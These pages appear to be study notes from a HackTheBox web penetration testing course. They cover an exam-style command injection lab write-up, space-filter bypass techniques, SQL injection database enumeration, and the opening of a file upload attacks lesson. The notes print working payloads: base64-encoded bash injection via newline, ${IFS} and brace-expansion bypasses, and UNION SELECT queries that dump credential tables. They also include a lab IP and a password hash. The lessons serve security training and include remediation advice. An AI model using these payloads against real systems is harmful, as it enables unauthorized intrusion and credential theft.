#### **Common Real CVEs Mapping (for context):**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#common-real-cves-mapping-for-context) Not from this target, but similar real-world issues include: * **CVE‑2014‑6271 (Shellshock)** – Bash environment variable injection * **CVE‑2021‑41773** – Apache path traversal → code execution * **CVE‑2022‑42889 (Text4Shell)** – RCE via unsafe string interpolation These CVEs mirror the same **root cause class**: user input passed directly into shell execution. * * * ### **3\. Attack Chain Overview**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-3.-attack-chain-overview) 1. **User logs in with guest / guest credentials.** 2. File management interface exposes a “Move” action using multiple user-controlled parameters. 3. BurpSuite identifies a request containing injectable parameters (`To=`). 4. Newline injection (`%0a`) triggers command interpretation. 5. Application returns error output consistent with partial execution → confirmed injection point. 6. Payload encoded using Base64 to bypass filters. 7. Bash decodes and executes attacker-supplied commands. 8. Attacker enumerates filesystem and retrieves `/flag.txt`. * * * ### **4\. Exploitation Walkthrough (Exam Format)**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-4.-exploitation-walkthrough-exam-format) #### **Step 1 — Authentication**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-1-authentication) Logged into the application using the provided credentials: #### **Step 2 — Identify Injection Point**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-2-identify-injection-point) Inside the file manager, selecting **Move** generates the following request: BurpSuite shows four user-controlled parameters, all potential injection surfaces. #### **Step 3 — Initial Injection Test**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-3-initial-injection-test) A newline is inserted into the `To=` parameter: The server returns an error → confirming the backend is interpreting command context. #### **Step 4 — Bypassing Filters**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-4-bypassing-filters) A Base64 payload is crafted: Inserted into a Bash-decoding execution chain: **Result:** The server outputs the executing user → confirming RCE. #### **Step 5 — Directory Enumeration**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-5-directory-enumeration) Enumerating directories: Payload: Output shows `flag.txt` in root (`/`). #### **Step 6 — Retrieve Flag**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-6-retrieve-flag) Encoding final read command: Payload: #### **Final Result:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#final-result) **The contents of the flag were successfully extracted.** * * * ### **5\. CVSS v3.1 Scoring (Exam‑Oriented Breakdown)**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-5.-cvss-v3.1-scoring-exam-oriented-breakdown) **Attack Vector (AV):** Network → **N** **Attack Complexity (AC):** Low → **L** **Privileges Required (PR):** Low (requires login) → **L** **User Interaction (UI):** None → **N** **Scope (S):** Changed (executes OS-level commands) → **C** **Confidentiality (C):** High → **H** **Integrity (I):** High → **H** **Availability (A):** High → **H** #### **CVSS Vector:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#cvss-vector) #### **Base Score Calculation:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#base-score-calculation) 1. **Exploitability:** = 8.22 2. **Impact:** = 7.52 3. **Final Score:** **CVSS Score ≈ 9.9 (Critical)** This score aligns with real-world RCE vulnerabilities. * * * ### **6\. Root Cause Analysis**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-6.-root-cause-analysis) The backend processes user input directly in shell commands without: * input sanitization * argument escaping * context-aware filtering * a safe API (e.g., no subprocess wrapper) Additionally: ❌ No server-side validation ❌ No allow-listing of file paths ❌ No command wrapping or chroot ❌ Multiple parameters accept unsanitized data This allows newline injection (`%0a`) to break context and execute arbitrary commands. * * * ### **7\. Impact Assessment**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-7.-impact-assessment) **Successful exploitation allows the attacker to:** * Execute arbitrary Bash commands * Read and modify system files * Gain full OS-level control * Exfiltrate sensitive data * Potentially escalate privileges * Fully compromise the host In a real environment, this would be an immediate **severity 0** incident requiring emergency response. * * * ### **8\. Recommended Remediation**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-8.-recommended-remediation) #### **Short Term**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#short-term) * Disable vulnerable endpoint * Implement server-side input sanitization * Reject newline / metacharacters * Enforce path allow-listing #### **Long Term**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#long-term) * Replace shell execution with safe library calls * Use parameterized functions instead of string concatenation * Implement RASP / WAF command injection signatures * Deploy full security review of all file-handling features * * * ### **9\. Final Answer**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-9.-final-answer) **Content of** `**/flag.txt**` **→ Retrieved successfully via command injection.** * * * [PreviousGood Write Up](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/good-write-up) [NextIntro to File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks) Last updated 8 months ago * [HTB CWES Exam‑Style Report — Command Injection Skill Assessment](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#htb-cwes-exam-style-report-command-injection-skill-assessment) * [1\. Executive Summary](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-1.-executive-summary) * [2\. Vulnerability Details](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-2.-vulnerability-details) * [3\. Attack Chain Overview](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-3.-attack-chain-overview) * [4\. Exploitation Walkthrough (Exam Format)](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-4.-exploitation-walkthrough-exam-format) * [5\. CVSS v3.1 Scoring (Exam‑Oriented Breakdown)](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-5.-cvss-v3.1-scoring-exam-oriented-breakdown) * [6\. Root Cause Analysis](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-6.-root-cause-analysis) * [7\. Impact Assessment](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-7.-impact-assessment) * [8\. Recommended Remediation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-8.-recommended-remediation) * [9\. Final Answer](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-9.-final-answer) Copy guest:guest Copy GET /action?From=1&To=Test&Move=1&Copy=0 Copy To=%0awhoami Copy echo -n 'whoami' | base64 → d2hvYW1p Copy %0abash<<<$(base64%09-d<<<d2hvYW1p) Copy echo -n 'ls -la /' | base64 → bHMgLWxhIC8= Copy %0abash<<<$(base64%09-d<<<bHMgLWxhIC8=) Copy echo -n 'cat /flag.txt' | base64 → Y2F0IC9mbGFnLnR4dA== Copy %0abash<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dA==) Copy CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H --- # Bypassing Space Filters | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters.md) . Bypassing Space Filters[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters#bypassing-space-filters) ------------------------------------------------------------------------------------------------------------------------------------------------------ * * * There are numerous ways to detect injection attempts, and there are multiple methods to bypass these detections. We will be demonstrating the concept of detection and how bypassing works using Linux as an example. We will learn how to utilize these bypasses and eventually be able to prevent them. Once we have a good grasp on how they work, we can go through various sources on the internet to discover other types of bypasses and learn how to mitigate them. * * * ### Bypass Blacklisted Operators[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters#bypass-blacklisted-operators) We will see that most of the injection operators are indeed blacklisted. However, the new-line character is usually not blacklisted, as it may be needed in the payload itself. We know that the new-line character works in appending our commands both in Linux and on Windows, so let's try using it as our injection operator: ![Interface showing an HTTP request and response. The request includes headers like Host and User-Agent, with IP set to '127.0.0.1%0a'. The response displays HTML for a Host Checker form and ping results for 127.0.0.1.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_operator.jpg&width=300&dpr=3&quality=100&sign=1bda2cef&sv=2) As we can see, even though our payload did include a new-line character, our request was not denied, and we did get the output of the ping command, `which means that this character is not blacklisted, and we can use it as our injection operator`. Let us start by discussing how to bypass a commonly blacklisted character - a space character. * * * ### Bypass Blacklisted Spaces[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters#bypass-blacklisted-spaces) Now that we have a working injection operator, let us modify our original payload and send it again as (`127.0.0.1%0a whoami`): ![Interface showing an HTTP request and response. The request includes headers like Host and User-Agent, with IP set to '127.0.0.1%0a+whoami'. The response displays HTML for a Host Checker form and an 'Invalid input' message.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_spaces_1.jpg&width=300&dpr=3&quality=100&sign=6fd59dba&sv=2) As we can see, we still get an `invalid input` error message, meaning that we still have other filters to bypass. So, as we did before, let us only add the next character (which is a space) and see if it caused the denied request: ![Interface showing an HTTP request and response. The request includes headers like Host and User-Agent, with IP set to '127.0.0.1%0a+whoami'. The response displays HTML for a Host Checker form and an 'Invalid input' message.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_spaces_2.jpg&width=300&dpr=3&quality=100&sign=7234dae9&sv=2) As we can see, the space character is indeed blacklisted as well. A space is a commonly blacklisted character, especially if the input should not contain any spaces, like an IP, for example. Still, there are many ways to add a space character without actually using the space character! **Using Tabs** Using tabs (%09) instead of spaces is a technique that may work, as both Linux and Windows accept commands with tabs between arguments, and they are executed the same. So, let us try to use a tab instead of the space character (`127.0.0.1%0a%09`) and see if our request is accepted: ![Interface showing an HTTP request and response. The request includes headers like Host and User-Agent, with IP set to '127.0.0.1%0a%09'. The response displays HTML for a Host Checker form and ping results for 127.0.0.1.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_spaces_3.jpg&width=300&dpr=3&quality=100&sign=af2a4fa4&sv=2) As we can see, we successfully bypassed the space character filter by using a tab instead. Let us see another method of replacing space characters. **Using $IFS** Using the ($IFS) Linux Environment Variable may also work since its default value is a space and a tab, which would work between command arguments. So, if we use `${IFS}` where the spaces should be, the variable should be automatically replaced with a space, and our command should work. Let us use `${IFS}` and see if it works (`127.0.0.1%0a${IFS}`): ![Interface showing an HTTP request and response. The request includes headers like Host and User-Agent, with IP set to '127.0.0.1%0a${IFS}'. The response displays HTML for a Host Checker form and ping results for 127.0.0.1.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_spaces_4.jpg&width=300&dpr=3&quality=100&sign=ac52da2b&sv=2) We see that our request was not denied this time, and we bypassed the space filter again. **Using Brace Expansion** There are many other methods we can utilize to bypass space filters. For example, we can use the `Bash Brace Expansion` feature, which automatically adds spaces between arguments wrapped between braces, as follows: Bypassing Space Filters As we can see, the command was successfully executed without having spaces in it. We can utilize the same method in command injection filter bypasses, by using brace expansion on our command arguments, like (`127.0.0.1%0a{ls,-la}`). To discover more space filter bypasses, check out the [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space) page on writing commands without spaces. Exercise: Try to look for other methods for bypassing space filters, and use them with the `Host Checker` web application to learn how they work. Use what you learned in this section to execute the command 'ls -la'. What is the size of the 'index.php' file?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters#use-what-you-learned-in-this-section-to-execute-the-command-ls-la.-what-is-the-size-of-the-index.php) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Used : 127.0.0.1%0a${IFS} ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F1UDaiCYczsdJr5OBkbdm%252Fimage.png%3Falt%3Dmedia%26token%3Dbf54208e-b7f8-4a07-9ca4-d922cfeb4ccd&width=768&dpr=3&quality=100&sign=24478743&sv=2) Answer: 1613 [PreviousIdentifying Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters) [NextBypassing Other Blacklisted Characters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters) Last updated 1 year ago * [Bypassing Space Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters#bypassing-space-filters) * [Bypass Blacklisted Operators](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters#bypass-blacklisted-operators) * [Bypass Blacklisted Spaces](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters#bypass-blacklisted-spaces) * [Use what you learned in this section to execute the command 'ls -la'. What is the size of the 'index.php' file?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters#use-what-you-learned-in-this-section-to-execute-the-command-ls-la.-what-is-the-size-of-the-index.php) Copy Code4Christ@htb[/htb]$ {ls,-la} total 0 drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 07:37 . drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 13:01 .. --- # Database Enumeration | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration.md) . * * * In the previous sections, we learned about different SQL queries in `MySQL` and SQL injections and how to use them. This section will put all of that to use and gather data from the database using SQL queries within SQL injections. * * * ### MySQL Fingerprinting[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#mysql-fingerprinting) Before enumerating the database, we usually need to identify the type of DBMS we are dealing with. This is because each DBMS has different queries, and knowing what it is will help us know what queries to use. As an initial guess, if the webserver we see in HTTP responses is `Apache` or `Nginx`, it is a good guess that the webserver is running on Linux, so the DBMS is likely `MySQL`. The same also applies to Microsoft DBMS if the webserver is `IIS`, so it is likely to be `MSSQL`. However, this is a far-fetched guess, as many other databases can be used on either operating system or web server. So, there are different queries we can test to fingerprint the type of database we are dealing with. As we cover `MySQL` in this module, let us fingerprint `MySQL` databases. The following queries and their output will tell us that we are dealing with `MySQL`: Payload When to Use Expected Output Wrong Output `SELECT @@version` When we have full query output MySQL Version 'i.e. `10.3.22-MariaDB-1ubuntu1`' In MSSQL it returns MSSQL version. Error with other DBMS. `SELECT POW(1,1)` When we only have numeric output `1` Error with other DBMS `SELECT SLEEP(5)` Blind/No Output Delays page response for 5 seconds and returns `0`. Will not delay response with other DBMS As we saw in the example from the previous section, when we tried `@@version`, it gave us: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fdb_version_1.jpg&width=768&dpr=3&quality=100&sign=d0259d4&sv=2) The output `10.3.22-MariaDB-1ubuntu1` means that we are dealing with a `MariaDB` DBMS similar to MySQL. Since we have direct query output, we will not have to test the other payloads. Instead, we can test them and see what we get. * * * ### INFORMATION\_SCHEMA Database[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#information_schema-database) To pull data from tables using `UNION SELECT`, we need to properly form our `SELECT` queries. To do so, we need the following information: * List of databases * List of tables within each database * List of columns within each table With the above information, we can form our `SELECT` statement to dump data from any column in any table within any database inside the DBMS. This is where we can utilize the `INFORMATION_SCHEMA` Database. The [INFORMATION\_SCHEMA](https://dev.mysql.com/doc/refman/8.0/en/information-schema-introduction.html) database contains metadata about the databases and tables present on the server. This database plays a crucial role while exploiting SQL injection vulnerabilities. As this is a different database, we cannot call its tables directly with a `SELECT` statement. If we only specify a table's name for a `SELECT` statement, it will look for tables within the same database. So, to reference a table present in another DB, we can use the dot ‘`.`’ operator. For example, to `SELECT` a table `users` present in a database named `my_database`, we can use: Similarly, we can look at tables present in the `INFORMATION_SCHEMA` Database. * * * ### SCHEMATA[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#schemata) To start our enumeration, we should find what databases are available on the DBMS. The table [SCHEMATA](https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html) in the `INFORMATION_SCHEMA` database contains information about all databases on the server. It is used to obtain database names so we can then query them. The `SCHEMA_NAME` column contains all the database names currently present. Let us first test this on a local database to see how the query is used: We see the `ilfreight` and `dev` databases. Note: The first three databases are default MySQL databases and are present on any server, so we usually ignore them during DB enumeration. Sometimes there's a fourth 'sys' DB as well. Now, let's do the same using a `UNION` SQL injection, with the following payload: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_dbs.png&width=768&dpr=3&quality=100&sign=3f580aaf&sv=2) Once again, we see two databases, `ilfreight` and `dev`, apart from the default ones. Let us find out which database the web application is running to retrieve ports data from. We can find the current database with the `SELECT database()` query. We can do this similarly to how we found the DBMS version in the previous section: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fdb_name.jpg&width=768&dpr=3&quality=100&sign=e4673af3&sv=2) We see that the database name is `ilfreight`. However, the other database (`dev`) looks interesting. So, let us try to retrieve the tables from it. * * * ### TABLES[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#tables) Before we dump data from the `dev` database, we need to get a list of the tables to query them with a `SELECT` statement. To find all tables within a database, we can use the `TABLES` table in the `INFORMATION_SCHEMA` Database. The [TABLES](https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html) table contains information about all tables throughout the database. This table contains multiple columns, but we are interested in the `TABLE_SCHEMA` and `TABLE_NAME` columns. The `TABLE_NAME` column stores table names, while the `TABLE_SCHEMA` column points to the database each table belongs to. This can be done similarly to how we found the database names. For example, we can use the following payload to find the tables within the `dev` database: Note how we replaced the numbers '2' and '3' with 'TABLE\_NAME' and 'TABLE\_SCHEMA', to get the output of both columns in the same query. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_tables_1.jpg&width=768&dpr=3&quality=100&sign=45425ee7&sv=2) Note: we added a (where table\_schema='dev') condition to only return tables from the 'dev' database, otherwise we would get all tables in all databases, which can be many. We see four tables in the dev database, namely `credentials`, `framework`, `pages`, and `posts`. For example, the `credentials` table could contain sensitive information to look into it. * * * ### COLUMNS[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#columns) To dump the data of the `credentials` table, we first need to find the column names in the table, which can be found in the `COLUMNS` table in the `INFORMATION_SCHEMA` database. The [COLUMNS](https://dev.mysql.com/doc/refman/8.0/en/information-schema-columns-table.html) table contains information about all columns present in all the databases. This helps us find the column names to query a table for. The `COLUMN_NAME`, `TABLE_NAME`, and `TABLE_SCHEMA` columns can be used to achieve this. As we did before, let us try this payload to find the column names in the `credentials` table: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_columns_1.jpg&width=768&dpr=3&quality=100&sign=b9af83b7&sv=2) The table has two columns named `username` and `password`. We can use this information and dump data from the table. * * * ### Data[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#data) Now that we have all the information, we can form our `UNION` query to dump data of the `username` and `password` columns from the `credentials` table in the `dev` database. We can place `username` and `password` in place of columns 2 and 3: Remember: don't forget to use the dot operator to refer to the 'credentials' in the 'dev' database, as we are running in the 'ilfreight' database, as previously discussed. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_credentials_1.png&width=768&dpr=3&quality=100&sign=d19c34b0&sv=2) We were able to get all the entries in the `credentials` table, which contains sensitive information such as password hashes and an API key. **Questions**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#questions) -------------------------------------------------------------------------------------------------------------------------------- Target(s): 94.237.58.12:36834 What is the password hash for 'newuser' stored in the 'users' table in the 'ilfreight' database? ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FUMULplcqEUN1rIbAe4ZU%252Fimage.png%3Falt%3Dmedia%26token%3D6dc18c26-579f-44d2-8c51-b4bf0f14480a&width=768&dpr=3&quality=100&sign=73300417&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FRijqa7CmWJ7GlY92Ddm3%252Fimage.png%3Falt%3Dmedia%26token%3Dee75c3b4-2c2e-4c24-95e4-b1ce69677593&width=768&dpr=3&quality=100&sign=d075bf7a&sv=2) 9da2c9bcdf39d8610954e0e11ea8f45f [PreviousExploitation](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation) [NextReading Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/reading-files) Last updated 1 year ago * [MySQL Fingerprinting](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#mysql-fingerprinting) * [INFORMATION\_SCHEMA Database](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#information_schema-database) * [SCHEMATA](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#schemata) * [TABLES](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#tables) * [COLUMNS](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#columns) * [Data](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#data) * [Questions](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration#questions) Copy SELECT * FROM my_database.users; Copy mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA; +--------------------+ | SCHEMA_NAME | +--------------------+ | mysql | | information_schema | | performance_schema | | ilfreight | | dev | +--------------------+ 6 rows in set (0.01 sec) Copy cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - Copy cn' UNION select 1,database(),2,3-- - Copy cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- - Copy cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- - Copy cn' UNION select 1, username, password, 4 from dev.credentials-- - Copy // Initial Payload to reveal user privaledge cn' UNION select 1, user(), 3, 4 from dev.credentials -- - Copy // Enumration payload to reveal password hash cn' UNION select 1, username, password, 4 from users -- - --- # Absent Validation | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation.md) . * * * The most basic type of file upload vulnerability occurs when the web application `does not have any form of validation filters` on the uploaded files, allowing the upload of any file type by default. With these types of vulnerable web apps, we may directly upload our web shell or reverse shell script to the web application, and then by just visiting the uploaded script, we can interact with our web shell or send the reverse shell. * * * ### Arbitrary File Upload[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#arbitrary-file-upload) Let's start the exercise at the end of this section, and we will see an `Employee File Manager` web application, which allows us to upload personal files to the web application: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_file_manager.jpg&width=768&dpr=3&quality=100&sign=e61c3423&sv=2) The web application does not mention anything about what file types are allowed, and we can drag and drop any file we want, and its name will appear on the upload form, including `.php` files: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_file_selected_php_file.jpg&width=768&dpr=3&quality=100&sign=6dfe0f45&sv=2) Furthermore, if we click on the form to select a file, the file selector dialog does not specify any file type, as it says `All Files` for the file type, which may also suggest that no type of restrictions or limitations are specified for the web application: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_file_selection_dialog.jpg&width=768&dpr=3&quality=100&sign=f393d3b1&sv=2) All of this tells us that the program appears to have no file type restrictions on the front-end, and if no restrictions were specified on the back-end, we might be able to upload arbitrary file types to the back-end server to gain complete control over it. * * * ### Identifying Web Framework[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#identifying-web-framework) We need to upload a malicious script to test whether we can upload any file type to the back-end server and test whether we can use this to exploit the back-end server. Many kinds of scripts can help us exploit web applications through arbitrary file upload, most commonly a `Web Shell` script and a `Reverse Shell` script. A Web Shell provides us with an easy method to interact with the back-end server by accepting shell commands and printing their output back to us within the web browser. A web shell has to be written in the same programming language that runs the web server, as it runs platform-specific functions and commands to execute system commands on the back-end server, making web shells non-cross-platform scripts. So, the first step would be to identify what language runs the web application. This is usually relatively simple, as we can often see the web page extension in the URLs, which may reveal the programming language that runs the web application. However, in certain web frameworks and web languages, `Web Routes` are used to map URLs to web pages, in which case the web page extension may not be shown. Furthermore, file upload exploitation would also be different, as our uploaded files may not be directly routable or accessible. One easy method to determine what language runs the web application is to visit the `/index.ext` page, where we would swap out `ext` with various common web extensions, like `php`, `asp`, `aspx`, among others, to see whether any of them exist. For example, when we visit our exercise below, we see its URL as `http://SERVER_IP:PORT/`, as the `index` page is usually hidden by default. But, if we try visiting `http://SERVER_IP:PORT/index.php`, we would get the same page, which means that this is indeed a `PHP` web application. We do not need to do this manually, of course, as we can use a tool like Burp Intruder for fuzzing the file extension using a [Web Extensions](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt) wordlist, as we will see in upcoming sections. This method may not always be accurate, though, as the web application may not utilize index pages or may utilize more than one web extension. Several other techniques may help identify the technologies running the web application, like using the [Wappalyzer](https://www.wappalyzer.com/) extension, which is available for all major browsers. Once added to our browser, we can click its icon to view all technologies running the web application: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_wappalyzer.jpg&width=768&dpr=3&quality=100&sign=4b4d401a&sv=2) As we can see, not only did the extension tell us that the web application runs on `PHP`, but it also identified the type and version of the web server, the back-end operating system, and other technologies in use. These extensions are essential in a web penetration tester's arsenal, though it is always better to know alternative manual methods to identify the web framework, like the earlier method we discussed. We may also run web scanners to identify the web framework, like Burp/ZAP scanners or other Web Vulnerability Assessment tools. In the end, once we identify the language running the web application, we may upload a malicious script written in the same language to exploit the web application and gain remote control over the back-end server. * * * ### Vulnerability Identification[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#vulnerability-identification) Now that we have identified the web framework running the web application and its programming language, we can test whether we can upload a file with the same extension. As an initial test to identify whether we can upload arbitrary `PHP` files, let's create a basic `Hello World` script to 